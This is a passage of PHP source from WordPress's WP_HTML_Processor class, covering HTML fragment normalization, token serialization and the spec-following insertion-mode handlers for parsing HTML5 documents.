	 *     echo WP_HTML_Processor::normalize( '<div></p>fun<table><td>cell</div>' );
	 *     // <div><p></p>fun<table><tbody><tr><td>cell</td></tr></tbody></table></div>
	 *
	 *     echo WP_HTML_Processor::normalize( '<![CDATA[invalid comment]]> syntax < <> "oddities"' );
	 *     // <!--[CDATA[invalid comment]]--> syntax &lt; &lt;&gt; &quot;oddities&quot;
	 *
	 * @since 6.7.0
	 *
	 * @param string $html Input HTML to normalize.
	 *
	 * @return string|null Normalized output, or `null` if unable to normalize.
	 */
	public static function normalize( string $html ): ?string {
		return static::create_fragment( $html )->serialize();
	}

	/**
	 * Returns normalized HTML for a fragment by serializing it.
	 *
	 * This differs from {@see WP_HTML_Processor::normalize} in that it starts with
	 * a specific HTML Processor, which _must_ not have already started scanning;
	 * it must be in the initial ready state and will be in the completed state once
	 * serialization is complete.
	 *
	 * Many aspects of an input HTML fragment may be changed during normalization.
	 *
	 *  - Attribute values will be double-quoted.
	 *  - Duplicate attributes will be removed.
	 *  - Omitted tags will be added.
	 *  - Tag and attribute name casing will be lower-cased,
	 *    except for specific SVG and MathML tags or attributes.
	 *  - Text will be re-encoded, null bytes handled,
	 *    and invalid UTF-8 replaced with U+FFFD.
	 *  - Any incomplete syntax trailing at the end will be omitted,
	 *    for example, an unclosed comment opener will be removed.
	 *
	 * Example:
	 *
	 *     $processor = WP_HTML_Processor::create_fragment( '<a href=#anchor v=5 href="/" enabled>One</a another v=5><!--' );
	 *     echo $processor->serialize();
	 *     // <a href="#anchor" v="5" enabled>One</a>
	 *
	 *     $processor = WP_HTML_Processor::create_fragment( '<div></p>fun<table><td>cell</div>' );
	 *     echo $processor->serialize();
	 *     // <div><p></p>fun<table><tbody><tr><td>cell</td></tr></tbody></table></div>
	 *
	 *     $processor = WP_HTML_Processor::create_fragment( '<![CDATA[invalid comment]]> syntax < <> "oddities"' );
	 *     echo $processor->serialize();
	 *     // <!--[CDATA[invalid comment]]--> syntax &lt; &lt;&gt; &quot;oddities&quot;
	 *
	 * @since 6.7.0
	 *
	 * @return string|null Normalized HTML markup represented by processor,
	 *                     or `null` if unable to generate serialization.
	 */
	public function serialize(): ?string {
		if ( WP_HTML_Tag_Processor::STATE_READY !== $this->parser_state ) {
			wp_trigger_error(
				__METHOD__,
				'An HTML Processor which has already started processing cannot serialize its contents. Serialize immediately after creating the instance.',
				E_USER_WARNING
			);
			return null;
		}

		$html = '';
		while ( $this->next_token() ) {
			$html .= $this->serialize_token();
		}

		if ( null !== $this->get_last_error() ) {
			wp_trigger_error(
				__METHOD__,
				"Cannot serialize HTML Processor with parsing error: {$this->get_last_error()}.",
				E_USER_WARNING
			);
			return null;
		}

		return $html;
	}

	/**
	 * Serializes the currently-matched token.
	 *
	 * This method produces a fully-normative HTML string for the currently-matched token,
	 * if able. If not matched at any token or if the token doesn't correspond to any HTML
	 * it will return an empty string (for example, presumptuous end tags are ignored).
	 *
	 * @see static::serialize()
	 *
	 * @since 6.7.0
	 * @since 6.9.0 Converted from protected to public method.
	 *
	 * @return string Serialization of token, or empty string if no serialization exists.
	 */
	public function serialize_token(): string {
		$html       = '';
		$token_type = $this->get_token_type();

		switch ( $token_type ) {
			case '#doctype':
				$doctype = $this->get_doctype_info();
				if ( null === $doctype ) {
					break;
				}

				$html .= '<!DOCTYPE';

				if ( $doctype->name ) {
					$html .= " {$doctype->name}";
				}

				if ( null !== $doctype->public_identifier ) {
					$quote = str_contains( $doctype->public_identifier, '"' ) ? "'" : '"';
					$html .= " PUBLIC {$quote}{$doctype->public_identifier}{$quote}";
				}
				if ( null !== $doctype->system_identifier ) {
					if ( null === $doctype->public_identifier ) {
						$html .= ' SYSTEM';
					}
					$quote = str_contains( $doctype->system_identifier, '"' ) ? "'" : '"';
					$html .= " {$quote}{$doctype->system_identifier}{$quote}";
				}

				$html .= '>';
				break;

			case '#text':
				$html .= htmlspecialchars( $this->get_modifiable_text(), ENT_QUOTES | ENT_SUBSTITUTE | ENT_HTML5, 'UTF-8' );
				break;

			// Unlike the `<>` which is interpreted as plaintext, this is ignored entirely.
			case '#presumptuous-tag':
				break;

			case '#funky-comment':
			case '#comment':
				$html .= "<!--{$this->get_full_comment_text()}-->";
				break;

			case '#cdata-section':
				$html .= "<![CDATA[{$this->get_modifiable_text()}]]>";
				break;
		}

		if ( '#tag' !== $token_type ) {
			return $html;
		}

		$tag_name       = str_replace( "\x00", "\u{FFFD}", $this->get_tag() );
		$in_html        = 'html' === $this->get_namespace();
		$qualified_name = $in_html ? strtolower( $tag_name ) : $this->get_qualified_tag_name();

		if ( $this->is_tag_closer() ) {
			$html .= "</{$qualified_name}>";
			return $html;
		}

		$attribute_names = $this->get_attribute_names_with_prefix( '' );
		if ( ! isset( $attribute_names ) ) {
			$html .= "<{$qualified_name}>";
			return $html;
		}

		$html .= "<{$qualified_name}";
		foreach ( $attribute_names as $attribute_name ) {
			$html .= " {$this->get_qualified_attribute_name( $attribute_name )}";
			$value = $this->get_attribute( $attribute_name );

			if ( is_string( $value ) ) {
				$html .= '="' . htmlspecialchars( $value, ENT_QUOTES | ENT_SUBSTITUTE | ENT_HTML5 ) . '"';
			}

			$html = str_replace( "\x00", "\u{FFFD}", $html );
		}

		if ( ! $in_html && $this->has_self_closing_flag() ) {
			$html .= ' /';
		}

		$html .= '>';

		// Flush out self-contained elements.
		if ( $in_html && in_array( $tag_name, array( 'IFRAME', 'NOEMBED', 'NOFRAMES', 'SCRIPT', 'STYLE', 'TEXTAREA', 'TITLE', 'XMP' ), true ) ) {
			$text = $this->get_modifiable_text();

			switch ( $tag_name ) {
				case 'IFRAME':
				case 'NOEMBED':
				case 'NOFRAMES':
					$text = '';
					break;

				case 'SCRIPT':
				case 'STYLE':
					break;

				default:
					$text = htmlspecialchars( $text, ENT_QUOTES | ENT_SUBSTITUTE | ENT_HTML5, 'UTF-8' );
			}

			$html .= "{$text}</{$qualified_name}>";
		}

		return $html;
	}

	/**
	 * Parses next element in the 'initial' insertion mode.
	 *
	 * This internal function performs the 'initial' insertion mode
	 * logic for the generalized WP_HTML_Processor::step() function.
	 *
	 * @since 6.7.0
	 *
	 * @throws WP_HTML_Unsupported_Exception When encountering unsupported HTML input.
	 *
	 * @see https://html.spec.whatwg.org/#the-initial-insertion-mode
	 * @see WP_HTML_Processor::step
	 *
	 * @return bool Whether an element was found.
	 */
	private function step_initial(): bool {
		$token_name = $this->get_token_name();
		$token_type = $this->get_token_type();
		$op_sigil   = '#tag' === $token_type ? ( parent::is_tag_closer() ? '-' : '+' ) : '';
		$op         = "{$op_sigil}{$token_name}";

		switch ( $op ) {
			/*
			 * > A character token that is one of U+0009 CHARACTER TABULATION,
			 * > U+000A LINE FEED (LF), U+000C FORM FEED (FF),
			 * > U+000D CARRIAGE RETURN (CR), or U+0020 SPACE
			 *
			 * Parse error: ignore the token.
			 */
			case '#text':
				if ( parent::TEXT_IS_WHITESPACE === $this->text_node_classification ) {
					return $this->step();
				}
				goto initial_anything_else;
				break;

			/*
			 * > A comment token
			 */
			case '#comment':
			case '#funky-comment':
			case '#presumptuous-tag':
				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * > A DOCTYPE token
			 */
			case 'html':
				$doctype = $this->get_doctype_info();
				if ( null !== $doctype && 'quirks' === $doctype->indicated_compatibility_mode ) {
					$this->compat_mode = WP_HTML_Tag_Processor::QUIRKS_MODE;
				}

				/*
				 * > Then, switch the insertion mode to "before html".
				 */
				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_BEFORE_HTML;
				$this->insert_html_element( $this->state->current_token );
				return true;
		}

		/*
		 * > Anything else
		 */
		initial_anything_else:
		$this->compat_mode           = WP_HTML_Tag_Processor::QUIRKS_MODE;
		$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_BEFORE_HTML;
		return $this->step( self::REPROCESS_CURRENT_NODE );
	}

	/**
	 * Parses next element in the 'before html' insertion mode.
	 *
	 * This internal function performs the 'before html' insertion mode
	 * logic for the generalized WP_HTML_Processor::step() function.
	 *
	 * @since 6.7.0
	 *
	 * @throws WP_HTML_Unsupported_Exception When encountering unsupported HTML input.
	 *
	 * @see https://html.spec.whatwg.org/#the-before-html-insertion-mode
	 * @see WP_HTML_Processor::step
	 *
	 * @return bool Whether an element was found.
	 */
	private function step_before_html(): bool {
		$token_name = $this->get_token_name();
		$token_type = $this->get_token_type();
		$is_closer  = parent::is_tag_closer();
		$op_sigil   = '#tag' === $token_type ? ( $is_closer ? '-' : '+' ) : '';
		$op         = "{$op_sigil}{$token_name}";

		switch ( $op ) {
			/*
			 * > A DOCTYPE token
			 */
			case 'html':
				// Parse error: ignore the token.
				return $this->step();

			/*
			 * > A comment token
			 */
			case '#comment':
			case '#funky-comment':
			case '#presumptuous-tag':
				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * > A character token that is one of U+0009 CHARACTER TABULATION,
			 * > U+000A LINE FEED (LF), U+000C FORM FEED (FF),
			 * > U+000D CARRIAGE RETURN (CR), or U+0020 SPACE
			 *
			 * Parse error: ignore the token.
			 */
			case '#text':
				if ( parent::TEXT_IS_WHITESPACE === $this->text_node_classification ) {
					return $this->step();
				}
				goto before_html_anything_else;
				break;

			/*
			 * > A start tag whose tag name is "html"
			 */
			case '+HTML':
				$this->insert_html_element( $this->state->current_token );
				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_BEFORE_HEAD;
				return true;

			/*
			 * > An end tag whose tag name is one of: "head", "body", "html", "br"
			 *
			 * Closing BR tags are always reported by the Tag Processor as opening tags.
			 */
			case '-HEAD':
			case '-BODY':
			case '-HTML':
				/*
				 * > Act as described in the "anything else" entry below.
				 */
				goto before_html_anything_else;
				break;
		}

		/*
		 * > Any other end tag
		 */
		if ( $is_closer ) {
			// Parse error: ignore the token.
			return $this->step();
		}

		/*
		 * > Anything else.
		 *
		 * > Create an html element whose node document is the Document object.
		 * > Append it to the Document object. Put this element in the stack of open elements.
		 * > Switch the insertion mode to "before head", then reprocess the token.
		 */
		before_html_anything_else:
		$this->insert_virtual_node( 'HTML' );
		$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_BEFORE_HEAD;
		return $this->step( self::REPROCESS_CURRENT_NODE );
	}

	/**
	 * Parses next element in the 'before head' insertion mode.
	 *
	 * This internal function performs the 'before head' insertion mode
	 * logic for the generalized WP_HTML_Processor::step() function.
	 *
	 * @since 6.7.0 Stub implementation.
	 *
	 * @throws WP_HTML_Unsupported_Exception When encountering unsupported HTML input.
	 *
	 * @see https://html.spec.whatwg.org/#the-before-head-insertion-mode
	 * @see WP_HTML_Processor::step
	 *
	 * @return bool Whether an element was found.
	 */
	private function step_before_head(): bool {
		$token_name = $this->get_token_name();
		$token_type = $this->get_token_type();
		$is_closer  = parent::is_tag_closer();
		$op_sigil   = '#tag' === $token_type ? ( $is_closer ? '-' : '+' ) : '';
		$op         = "{$op_sigil}{$token_name}";

		switch ( $op ) {
			/*
			 * > A character token that is one of U+0009 CHARACTER TABULATION,
			 * > U+000A LINE FEED (LF), U+000C FORM FEED (FF),
			 * > U+000D CARRIAGE RETURN (CR), or U+0020 SPACE
			 *
			 * Parse error: ignore the token.
			 */
			case '#text':
				if ( parent::TEXT_IS_WHITESPACE === $this->text_node_classification ) {
					return $this->step();
				}
				goto before_head_anything_else;
				break;

			/*
			 * > A comment token
			 */
			case '#comment':
			case '#funky-comment':
			case '#presumptuous-tag':
				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * > A DOCTYPE token
			 */
			case 'html':
				// Parse error: ignore the token.
				return $this->step();

			/*
			 * > A start tag whose tag name is "html"
			 */
			case '+HTML':
				return $this->step_in_body();

			/*
			 * > A start tag whose tag name is "head"
			 */
			case '+HEAD':
				$this->insert_html_element( $this->state->current_token );
				$this->state->head_element   = $this->state->current_token;
				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_HEAD;
				return true;

			/*
			 * > An end tag whose tag name is one of: "head", "body", "html", "br"
			 * > Act as described in the "anything else" entry below.
			 *
			 * Closing BR tags are always reported by the Tag Processor as opening tags.
			 */
			case '-HEAD':
			case '-BODY':
			case '-HTML':
				goto before_head_anything_else;
				break;
		}

		if ( $is_closer ) {
			// Parse error: ignore the token.
			return $this->step();
		}

		/*
		 * > Anything else
		 *
		 * > Insert an HTML element for a "head" start tag token with no attributes.
		 */
		before_head_anything_else:
		$this->state->head_element   = $this->insert_virtual_node( 'HEAD' );
		$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_HEAD;
		return $this->step( self::REPROCESS_CURRENT_NODE );
	}

	/**
	 * Parses next element in the 'in head' insertion mode.
	 *
	 * This internal function performs the 'in head' insertion mode
	 * logic for the generalized WP_HTML_Processor::step() function.
	 *
	 * @since 6.7.0
	 *
	 * @throws WP_HTML_Unsupported_Exception When encountering unsupported HTML input.
	 *
	 * @see https://html.spec.whatwg.org/multipage/parsing.html#parsing-main-inhead
	 * @see WP_HTML_Processor::step
	 *
	 * @return bool Whether an element was found.
	 */
	private function step_in_head(): bool {
		$token_name = $this->get_token_name();
		$token_type = $this->get_token_type();
		$is_closer  = parent::is_tag_closer();
		$op_sigil   = '#tag' === $token_type ? ( $is_closer ? '-' : '+' ) : '';
		$op         = "{$op_sigil}{$token_name}";

		switch ( $op ) {
			case '#text':
				/*
				 * > A character token that is one of U+0009 CHARACTER TABULATION,
				 * > U+000A LINE FEED (LF), U+000C FORM FEED (FF),
				 * > U+000D CARRIAGE RETURN (CR), or U+0020 SPACE
				 */
				if ( parent::TEXT_IS_WHITESPACE === $this->text_node_classification ) {
					// Insert the character.
					$this->insert_html_element( $this->state->current_token );
					return true;
				}

				goto in_head_anything_else;
				break;

			/*
			 * > A comment token
			 */
			case '#comment':
			case '#funky-comment':
			case '#presumptuous-tag':
				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * > A DOCTYPE token
			 */
			case 'html':
				// Parse error: ignore the token.
				return $this->step();

			/*
			 * > A start tag whose tag name is "html"
			 */
			case '+HTML':
				return $this->step_in_body();

			/*
			 * > A start tag whose tag name is one of: "base", "basefont", "bgsound", "link"
			 */
			case '+BASE':
			case '+BASEFONT':
			case '+BGSOUND':
			case '+LINK':
				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * > A start tag whose tag name is "meta"
			 */
			case '+META':
				$this->insert_html_element( $this->state->current_token );

				// All following conditions depend on "tentative" encoding confidence.
				if ( 'tentative' !== $this->state->encoding_confidence ) {
					return true;
				}

				/*
				 * > If the active speculative HTML parser is null, then:
				 * >   - If the element has a charset attribute, and getting an encoding from
				 * >     its value results in an encoding, and the confidence is currently
				 * >     tentative, then change the encoding to the resulting encoding.
				 */
				$charset = $this->get_attribute( 'charset' );
				if ( is_string( $charset ) ) {
					$this->bail( 'Cannot yet process META tags with charset to determine encoding.' );
				}

				/*
				 * >   - Otherwise, if the element has an http-equiv attribute whose value is
				 * >     an ASCII case-insensitive match for the string "Content-Type", and
				 * >     the element has a content attribute, and applying the algorithm for
				 * >     extracting a character encoding from a meta element to that attribute's
				 * >     value returns an encoding, and the confidence is currently tentative,
				 * >     then change the encoding to the extracted encoding.
				 */
				$http_equiv = $this->get_attribute( 'http-equiv' );
				$content    = $this->get_attribute( 'content' );
				if (
					is_string( $http_equiv ) &&
					is_string( $content ) &&
					0 === strcasecmp( $http_equiv, 'Content-Type' )
				) {
					$this->bail( 'Cannot yet process META tags with http-equiv Content-Type to determine encoding.' );
				}

				return true;

			/*
			 * > A start tag whose tag name is "title"
			 */
			case '+TITLE':
				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * > A start tag whose tag name is "noscript", if the scripting flag is enabled
			 * > A start tag whose tag name is one of: "noframes", "style"
			 *
			 * The scripting flag is never enabled in this parser.
			 */
			case '+NOFRAMES':
			case '+STYLE':
				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * > A start tag whose tag name is "noscript", if the scripting flag is disabled
			 */
			case '+NOSCRIPT':
				$this->insert_html_element( $this->state->current_token );
				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_HEAD_NOSCRIPT;
				return true;

			/*
			 * > A start tag whose tag name is "script"
			 *
			 * @todo Could the adjusted insertion location be anything other than the current location?
			 */
			case '+SCRIPT':
				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * > An end tag whose tag name is "head"
			 */
			case '-HEAD':
				$this->state->stack_of_open_elements->pop();
				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_AFTER_HEAD;
				return true;

			/*
			 * > An end tag whose tag name is one of: "body", "html", "br"
			 *
			 * BR tags are always reported by the Tag Processor as opening tags.
			 */
			case '-BODY':
			case '-HTML':
				/*
				 * > Act as described in the "anything else" entry below.
				 */
				goto in_head_anything_else;
				break;

			/*
			 * > A start tag whose tag name is "template"
			 *
			 * @todo Could the adjusted insertion location be anything other than the current location?
			 */
			case '+TEMPLATE':
				$this->state->active_formatting_elements->insert_marker();
				$this->state->frameset_ok = false;

				$this->state->insertion_mode                      = WP_HTML_Processor_State::INSERTION_MODE_IN_TEMPLATE;
				$this->state->stack_of_template_insertion_modes[] = WP_HTML_Processor_State::INSERTION_MODE_IN_TEMPLATE;

				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * > An end tag whose tag name is "template"
			 */
			case '-TEMPLATE':
				if ( ! $this->state->stack_of_open_elements->contains( 'TEMPLATE' ) ) {
					// @todo Indicate a parse error once it's possible.
					return $this->step();
				}

				$this->generate_implied_end_tags_thoroughly();
				if ( ! $this->state->stack_of_open_elements->current_node_is( 'TEMPLATE' ) ) {
					// @todo Indicate a parse error once it's possible.
				}

				$this->state->stack_of_open_elements->pop_until( 'TEMPLATE' );
				$this->state->active_formatting_elements->clear_up_to_last_marker();
				array_pop( $this->state->stack_of_template_insertion_modes );
				$this->reset_insertion_mode_appropriately();
				return true;
		}

		/*
		 * > A start tag whose tag name is "head"
		 * > Any other end tag
		 */
		if ( '+HEAD' === $op || $is_closer ) {
			// Parse error: ignore the token.
			return $this->step();
		}

		/*
		 * > Anything else
		 */
		in_head_anything_else:
		$this->state->stack_of_open_elements->pop();
		$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_AFTER_HEAD;
		return $this->step( self::REPROCESS_CURRENT_NODE );
	}

	/**
	 * Parses next element in the 'in head noscript' insertion mode.
	 *
	 * This internal function performs the 'in head noscript' insertion mode
	 * logic for the generalized WP_HTML_Processor::step() function.
	 *
	 * @since 6.7.0 Stub implementation.
	 *
	 * @throws WP_HTML_Unsupported_Exception When encountering unsupported HTML input.
	 *
	 * @see https://html.spec.whatwg.org/#parsing-main-inheadnoscript
	 * @see WP_HTML_Processor::step
	 *
	 * @return bool Whether an element was found.
	 */
	private function step_in_head_noscript(): bool {
		$token_name = $this->get_token_name();
		$token_type = $this->get_token_type();
		$is_closer  = parent::is_tag_closer();
		$op_sigil   = '#tag' === $token_type ? ( $is_closer ? '-' : '+' ) : '';
		$op         = "{$op_sigil}{$token_name}";

		switch ( $op ) {
			/*
			 * > A character token that is one of U+0009 CHARACTER TABULATION,
			 * > U+000A LINE FEED (LF), U+000C FORM FEED (FF),
			 * > U+000D CARRIAGE RETURN (CR), or U+0020 SPACE
			 *
			 * Parse error: ignore the token.
			 */
			case '#text':
				if ( parent::TEXT_IS_WHITESPACE === $this->text_node_classification ) {
					return $this->step_in_head();
				}

				goto in_head_noscript_anything_else;
				break;

			/*
			 * > A DOCTYPE token
			 */
			case 'html':
				// Parse error: ignore the token.
				return $this->step();

			/*
			 * > A start tag whose tag name is "html"
			 */
			case '+HTML':
				return $this->step_in_body();

			/*
			 * > An end tag whose tag name is "noscript"
			 */
			case '-NOSCRIPT':
				$this->state->stack_of_open_elements->pop();
				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_HEAD;
				return true;

			/*
			 * > A comment token
			 * >
			 * > A start tag whose tag name is one of: "basefont", "bgsound",
			 * > "link", "meta", "noframes", "style"
			 */
			case '#comment':
			case '#funky-comment':
			case '#presumptuous-tag':
			case '+BASEFONT':
			case '+BGSOUND':
			case '+LINK':
			case '+META':
			case '+NOFRAMES':
			case '+STYLE':
				return $this->step_in_head();

			/*
			 * > An end tag whose tag name is "br"
			 *
			 * This should never happen, as the Tag Processor prevents showing a BR closing tag.
			 */
		}

		/*
		 * > A start tag whose tag name is one of: "head", "noscript"
		 * > Any other end tag
		 */
		if ( '+HEAD' === $op || '+NOSCRIPT' === $op || $is_closer ) {
			// Parse error: ignore the token.
			return $this->step();
		}

		/*
		 * > Anything else
		 *
		 * Anything here is a parse error.
		 */
		in_head_noscript_anything_else:
		$this->state->stack_of_open_elements->pop();
		$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_HEAD;
		return $this->step( self::REPROCESS_CURRENT_NODE );
	}

	/**
	 * Parses next element in the 'after head' insertion mode.
	 *
	 * This internal function performs the 'after head' insertion mode
	 * logic for the generalized WP_HTML_Processor::step() function.
	 *
	 * @since 6.7.0 Stub implementation.
	 *
	 * @throws WP_HTML_Unsupported_Exception When encountering unsupported HTML input.
	 *
	 * @see https://html.spec.whatwg.org/#the-after-head-insertion-mode
	 * @see WP_HTML_Processor::step
	 *
	 * @return bool Whether an element was found.
	 */
	private function step_after_head(): bool {
		$token_name = $this->get_token_name();
		$token_type = $this->get_token_type();
		$is_closer  = parent::is_tag_closer();
		$op_sigil   = '#tag' === $token_type ? ( $is_closer ? '-' : '+' ) : '';
		$op         = "{$op_sigil}{$token_name}";

		switch ( $op ) {
			/*
			 * > A character token that is one of U+0009 CHARACTER TABULATION,
			 * > U+000A LINE FEED (LF), U+000C FORM FEED (FF),
			 * > U+000D CARRIAGE RETURN (CR), or U+0020 SPACE
			 */
			case '#text':
				if ( parent::TEXT_IS_WHITESPACE === $this->text_node_classification ) {
					// Insert the character.
					$this->insert_html_element( $this->state->current_token );
					return true;
				}
				goto after_head_anything_else;
				break;

			/*
			 * > A comment token
			 */
			case '#comment':
			case '#funky-comment':
			case '#presumptuous-tag':
				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * > A DOCTYPE token
			 */
			case 'html':
				// Parse error: ignore the token.
				return $this->step();

			/*
			 * > A start tag whose tag name is "html"
			 */
			case '+HTML':
				return $this->step_in_body();

			/*
			 * > A start tag whose tag name is "body"
			 */
			case '+BODY':
				$this->insert_html_element( $this->state->current_token );
				$this->state->frameset_ok    = false;
				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_BODY;
				return true;

			/*
			 * > A start tag whose tag name is "frameset"
			 */
			case '+FRAMESET':
				$this->insert_html_element( $this->state->current_token );
				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_FRAMESET;
				return true;

			/*
			 * > A start tag whose tag name is one of: "base", "basefont", "bgsound",
			 * > "link", "meta", "noframes", "script", "style", "template", "title"
			 *
			 * Anything here is a parse error.
			 */
			case '+BASE':
			case '+BASEFONT':
			case '+BGSOUND':
			case '+LINK':
			case '+META':
			case '+NOFRAMES':
			case '+SCRIPT':
			case '+STYLE':
			case '+TEMPLATE':
			case '+TITLE':
				/*
				 * > Push the node pointed to by the head element pointer onto the stack of open elements.
				 * > Process the token using the rules for the "in head" insertion mode.
				 * > Remove the node pointed to by the head element pointer from the stack of open elements. (It might not be the current node at this point.)
				 */
				$this->bail( 'Cannot process elements after HEAD which reopen the HEAD element.' );
				/*
				 * Do not leave this break in when adding support; it's here to prevent
				 * WPCS from getting confused at the switch structure without a return,
				 * because it doesn't know that `bail()` always throws.
				 */
				break;

			/*
			 * > An end tag whose tag name is "template"
			 */
			case '-TEMPLATE':
				return $this->step_in_head();

			/*
			 * > An end tag whose tag name is one of: "body", "html", "br"
			 *
			 * Closing BR tags are always reported by the Tag Processor as opening tags.
			 */
			case '-BODY':
			case '-HTML':
				/*
				 * > Act as described in the "anything else" entry below.
				 */
				goto after_head_anything_else;
				break;
		}

		/*
		 * > A start tag whose tag name is "head"
		 * > Any other end tag
		 */
		if ( '+HEAD' === $op || $is_closer ) {
			// Parse error: ignore the token.
			return $this->step();
		}

		/*
		 * > Anything else
		 * > Insert an HTML element for a "body" start tag token with no attributes.
		 */
		after_head_anything_else:
		$this->insert_virtual_node( 'BODY' );
		$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_BODY;
		return $this->step( self::REPROCESS_CURRENT_NODE );
	}

	/**
	 * Parses next element in the 'in body' insertion mode.
	 *
	 * This internal function performs the 'in body' insertion mode
	 * logic for the generalized WP_HTML_Processor::step() function.
	 *
	 * @since 6.4.0
	 *
	 * @throws WP_HTML_Unsupported_Exception When encountering unsupported HTML input.
	 *
	 * @see https://html.spec.whatwg.org/#parsing-main-inbody
	 * @see WP_HTML_Processor::step
	 *
	 * @return bool Whether an element was found.
	 */
	private function step_in_body(): bool {
		$token_name = $this->get_token_name();
		$token_type = $this->get_token_type();
		$op_sigil   = '#tag' === $token_type ? ( parent::is_tag_closer() ? '-' : '+' ) : '';
		$op         = "{$op_sigil}{$token_name}";

		switch ( $op ) {
			case '#text':
				/*
				 * > A character token that is U+0000 NULL
				 *
				 * Any successive sequence of NULL bytes is ignored and won't
				 * trigger active format reconstruction. Therefore, if the text
				 * only comprises NULL bytes then the token should be ignored
				 * here, but if there are any other characters in the stream
				 * the active formats should be reconstructed.
				 */
				if ( parent::TEXT_IS_NULL_SEQUENCE === $this->text_node_classification ) {
					// Parse error: ignore the token.
					return $this->step();
				}

				$this->reconstruct_active_formatting_elements();

				/*
				 * Whitespace-only text does not affect the frameset-ok flag.
				 * It is probably inter-element whitespace, but it may also
				 * contain character references which decode only to whitespace.
				 */
				if ( parent::TEXT_IS_GENERIC === $this->text_node_classification ) {
					$this->state->frameset_ok = false;
				}

				$this->insert_html_element( $this->state->current_token );
				return true;

			case '#comment':
			case '#funky-comment':
			case '#presumptuous-tag':
				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * > A DOCTYPE token
			 * > Parse error. Ignore the token.
			 */
			case 'html':
				return $this->step();

			/*
			 * > A start tag whose tag name is "html"
			 */
			case '+HTML':
				if ( ! $this->state->stack_of_open_elements->contains( 'TEMPLATE' ) ) {
					/*
					 * > Otherwise, for each attribute on the token, check to see if the attribute
					 * > is already present on the top element of the stack of open elements. If
					 * > it is not, add the attribute and its corresponding value to that element.
					 *
					 * This parser does not currently support this behavior: ignore the token.
					 */
				}

				// Ignore the token.
				return $this->step();

			/*
			 * > A start tag whose tag name is one of: "base", "basefont", "bgsound", "link",
			 * > "meta", "noframes", "script", "style", "template", "title"
			 * >
			 * > An end tag whose tag name is "template"
			 */
			case '+BASE':
			case '+BASEFONT':
			case '+BGSOUND':
			case '+LINK':
			case '+META':
			case '+NOFRAMES':
			case '+SCRIPT':
			case '+STYLE':
			case '+TEMPLATE':
			case '+TITLE':
			case '-TEMPLATE':
				return $this->step_in_head();

			/*
			 * > A start tag whose tag name is "body"
			 *
			 * This tag in the IN BODY insertion mode is a parse error.
			 */
			case '+BODY':
				if (
					1 === $this->state->stack_of_open_elements->count() ||
					'BODY' !== ( $this->state->stack_of_open_elements->at( 2 )->node_name ?? null ) ||
					$this->state->stack_of_open_elements->contains( 'TEMPLATE' )
				) {
					// Ignore the token.
					return $this->step();
				}

				/*
				 * > Otherwise, set the frameset-ok flag to "not ok"; then, for each attribute
				 * > on the token, check to see if the attribute is already present on the body
				 * > element (the second element) on the stack of open elements, and if it is
				 * > not, add the attribute and its corresponding value to that element.
				 *
				 * This parser does not currently support this behavior: ignore the token.
				 */
				$this->state->frameset_ok = false;
				return $this->step();

			/*
			 * > A start tag whose tag name is "frameset"
			 *
			 * This tag in the IN BODY insertion mode is a parse error.
			 */
			case '+FRAMESET':
				if (
					1 === $this->state->stack_of_open_elements->count() ||
					'BODY' !== ( $this->state->stack_of_open_elements->at( 2 )->node_name ?? null ) ||
					false === $this->state->frameset_ok
				) {
					// Ignore the token.
					return $this->step();
				}

				/*
				 * > Otherwise, run the following steps:
				 */
				$this->bail( 'Cannot process non-ignored FRAMESET tags.' );
				break;

			/*
			 * > An end tag whose tag name is "body"
			 */
			case '-BODY':
				if ( ! $this->state->stack_of_open_elements->has_element_in_scope( 'BODY' ) ) {
					// Parse error: ignore the token.
					return $this->step();
				}

				/*
				 * > Otherwise, if there is a node in the stack of open elements that is not either a
				 * > dd element, a dt element, an li element, an optgroup element, an option element,
				 * > a p element, an rb element, an rp element, an rt element, an rtc element, a tbody
				 * > element, a td element, a tfoot element, a th element, a thread element, a tr
				 * > element, the body element, or the html element, then this is a parse error.
				 *
				 * There is nothing to do for this parse error, so don't check for it.
				 */

				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_AFTER_BODY;
				/*
				 * The BODY element is not removed from the stack of open elements.
				 * Only internal state has changed, this does not qualify as a "step"
				 * in terms of advancing through the document to another token.
				 * Nothing has been pushed or popped.
				 * Proceed to parse the next item.
				 */
				return $this->step();

			/*
			 * > An end tag whose tag name is "html"
			 */
			case '-HTML':
				if ( ! $this->state->stack_of_open_elements->has_element_in_scope( 'BODY' ) ) {
					// Parse error: ignore the token.
					return $this->step();
				}

				/*
				 * > Otherwise, if there is a node in the stack of open elements that is not either a
				 * > dd element, a dt element, an li element, an optgroup element, an option element,
				 * > a p element, an rb element, an rp element, an rt element, an rtc element, a tbody
				 * > element, a td element, a tfoot element, a th element, a thread element, a tr
				 * > element, the body element, or the html element, then this is a parse error.
				 *
				 * There is nothing to do for this parse error, so don't check for it.
				 */

				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_AFTER_BODY;
